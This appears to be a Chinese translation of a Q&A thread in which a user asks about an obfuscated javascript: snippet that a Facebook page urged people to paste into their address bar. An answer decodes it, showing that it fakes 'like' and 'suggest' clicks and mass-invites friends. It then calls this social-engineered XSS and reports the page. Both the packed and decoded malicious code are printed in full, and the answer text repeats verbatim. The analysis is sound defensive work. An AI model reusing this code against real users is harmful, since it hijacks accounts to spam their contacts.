我看到这个页面在我的Facebook社交圈中越来越受欢迎,98%的bla bla ...它会引导用户复制下面的JavaScript(我添加了一些缩进以使其更具可读性)到他们的地址栏中.看起来很狡猾,但我只有JavaScript的基本知识.
简单地说,这是做什么的?
javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))})();
bobince.. 9
我不知道有这么多人在贬低这一点.你对打包和其他混淆的脚本持怀疑态度是绝对正确的,特别是目前影响FB应用程序的一系列恶意攻击.
第一个技巧是用一个替换eval
unpacker的结果,alert
这样你就可以看到代码而不是执行代码.这给了你一些你可以轻松(但无聊)手动解码的东西:
document.getElementById('app120668947950042_mwrapper').style.visibility='hidden'; document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value; s=document.getElementById('suggest'); m=document.getElementById('likeme'); c=document.createEvent('MouseEvents'); c.initEvent('click',true,true); s.dispatchEvent(c); setTimeout(function(){ fs.select_all() }, 5000); setTimeout(function(){ SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') }, 5000); setTimeout(function(){ m.dispatchEvent(c); document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value }, 5000);
这看起来像是伪装点击'喜欢'和'建议'按钮(以及随后的对话),绕过了FB与网站交互所需的正常控制.
我将此页面报告给FB.
通常,任何要求您输入JavaScript URL的内容都没有任何好处.这是穷人的XSS.通过JS URL允许某人的代码进入页面,您相信他们可以根据您对网站的使用做任何他们想做的事情,正如这种粗略的社会工程尝试所表明的那样.如果很多人为此而堕落,那令人沮丧.也许是浏览器禁止javascript:
在地址栏中输入URL的时候了.
诅咒你Netscape发明丑陋的javascript:
不是真正的URL黑客以及由此产生的成千上万的安全漏洞!
我不知道有这么多人在贬低这一点.你对打包和其他混淆的脚本持怀疑态度是绝对正确的,特别是目前影响FB应用程序的一系列恶意攻击.
第一个技巧是用一个替换eval
unpacker的结果,alert
这样你就可以看到代码而不是执行代码.这给了你一些你可以轻松(但无聊)手动解码的东西:
document.getElementById('app120668947950042_mwrapper').style.visibility='hidden'; document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value; s=document.getElementById('suggest'); m=document.getElementById('likeme'); c=document.createEvent('MouseEvents'); c.initEvent('click',true,true); s.dispatchEvent(c); setTimeout(function(){ fs.select_all() }, 5000); setTimeout(function(){ SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') }, 5000); setTimeout(function(){ m.dispatchEvent(c); document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value }, 5000);
这看起来像是伪装点击'喜欢'和'建议'按钮(以及随后的对话),绕过了FB与网站交互所需的正常控制.
我将此页面报告给FB.
通常,任何要求您输入JavaScript URL的内容都没有任何好处.这是穷人的XSS.通过JS URL允许某人的代码进入页面,您相信他们可以根据您对网站的使用做任何他们想做的事情,正如这种粗略的社会工程尝试所表明的那样.如果很多人为此而堕落,那令人沮丧.也许是浏览器禁止javascript:
在地址栏中输入URL的时候了.
诅咒你Netscape发明丑陋的javascript:
不是真正的URL黑客以及由此产生的成千上万的安全漏洞!